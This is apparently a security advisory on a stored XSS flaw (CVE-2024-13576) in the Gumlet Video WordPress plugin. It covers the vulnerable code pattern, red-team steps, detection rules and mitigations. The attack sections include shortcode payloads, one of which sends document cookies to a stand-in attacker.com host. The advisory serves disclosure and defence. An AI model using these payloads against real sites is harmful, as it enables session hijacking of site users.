CVE-2024-13576

Executive Summary

CVE-2024-13576 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gumlet Video plugin for WordPress, affecting all versions up to and including 1.0.3. The flaw resides in the plugin's gumlet shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

The vulnerability is classified as a WordPress ecosystem issue, as it is a plugin-specific flaw. The vendor (Gumlet) has not released a patch, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. No supply chain compromise of the plugin's source repository has been reported, but the lack of a patch means users must rely on alternative mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access but the potential for cross-site scripting that can affect other users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in a WordPress shortcode. The gumlet shortcode is used to embed videos from the Gumlet service. The plugin fails to sanitize or escape user-supplied attributes (e.g., src, class, id, or custom attributes) before rendering them in the HTML output.

When a contributor or higher-level user creates a post or page containing the shortcode with malicious attributes, the injected JavaScript is stored in the WordPress database. When any user (including admins) views that page, the script executes in their browser context.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses add_shortcode and directly echoes attribute values without using esc_attr() or wp_kses().

Attack Scenario:

1. An attacker with contributor access creates a new post.
2. They insert the shortcode: [gumlet src="x" onerror="alert('XSS')"] or [gumlet src="http://evil.com/?" onclick="fetch('http://attacker.com/steal?cookie='+document.cookie)"].
3. The post is saved and published.
4. When an admin or other user views the post, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

// Vulnerable code (hypothetical)
add_shortcode('gumlet', function($atts) {
    $src = $atts['src'];
    return '<video src="' . $src . '"></video>';
});

A patched version would use proper escaping:

// Patched code (hypothetical)
add_shortcode('gumlet', function($atts) {
    $src = esc_url($atts['src']);
    return '<video src="' . $src . '"></video>';
});

The actual plugin code may be more complex, but the core issue is the lack of esc_attr() or wp_kses() on attribute values.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Gumlet Video plugin <= 1.0.3
• Authenticated user with contributor-level access or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [gumlet src="x" onerror="alert(document.cookie)"]
   

   Or for a more stealthy payload:

   [gumlet src="http://example.com/video.mp4" onclick="fetch('http://attacker.com/steal?c='+document.cookie)"]
   

4. Publish the post.
5. When an admin views the post, the script executes.

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the [gumlet shortcode with suspicious attributes (e.g., onerror, onclick, onload, src pointing to non-video URLs).
• Use WAF rules to block common XSS payloads in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Hardening:

• Disable the Gumlet Video plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that scans for malicious shortcodes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gumlet/gumlet.php (or similar main plugin file)
• Shortcode pattern: [gumlet src="..." onerror="..."] or [gumlet src="..." onclick="..."]
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Log entries: Suspicious post content containing JavaScript in shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_13576_Gumlet_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Gumlet Video plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13576"
    strings:
        $shortcode = /\[gumlet\s+[^\]]*?(onerror|onclick|onload|onmouseover|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|ondblclick|onmousedown|onmousemove|onmouseout|onmouseup|onwheel|oncontextmenu|onpointerdown|onpointermove|onpointerup|onpointerover|onpointerout|onpointerenter|onpointerleave|ongotpointercapture|onlostpointercapture|ondrag|ondragend|ondragenter|ondragexit|ondragleave|ondragover|ondragstart|ondrop|onscroll|oncopy|oncut|onpaste|oninvalid|onanimationend|onanimationiteration|onanimationstart|ontransitionend|ontransitionrun|ontransitionstart|onauxclick|oncanplay|oncanplaythrough|onchange|onclick|onclose|oncontextmenu|oncuechange|ondblclick|ondrag|ondragend|ondragenter|ondragexit|ondragleave|ondragover|ondragstart|ondrop|ondurationchange|onemptied|onended|onerror|onfocus|onformdata|oninput|oninvalid|onkeydown|onkeypress|onkeyup|onload|onloadeddata|onloadedmetadata|onloadstart|onmousedown|onmouseenter|onmouseleave|onmousemove|onmouseout|onmouseover|onmouseup|onpause|onplay|onplaying|onprogress|onratechange|onreset|onresize|onscroll|onseeked|onseeking|onselect|onsubmit|ontimeupdate|ontoggle|onvolumechange|onwaiting|onwheel)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-13576 - Gumlet Video Plugin Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via malicious shortcode attributes in Gumlet Video plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-content/plugins/gumlet/"
    keywords:
        - "onerror"
        - "onclick"
        - "onload"
        - "onmouseover"
    condition: selection and keywords
falsepositives:
    - Legitimate use of event handlers in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13576 - Gumlet Video Plugin Stored XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/gumlet/"; http_uri; pcre:"/\[gumlet\s+[^\]]*?(onerror|onclick|onload|onmouseover)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Gumlet Video plugin until a patched version is released.
2. Review and remove any posts/pages containing suspicious [gumlet shortcodes.
3. Change all WordPress passwords if compromise is suspected.

Long-term Mitigation:

• Monitor the Gumlet plugin page for updates.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Restrict contributor-level access to only trusted users.
• Use a WordPress security plugin that provides virtual patching for known vulnerabilities.

Patch Status: No official patch is available. Users are advised to disable the plugin or apply a manual fix by adding esc_attr() to shortcode attribute output in the plugin's source code.

Valters IT
DevSecOps & Cyber Threat Intelligence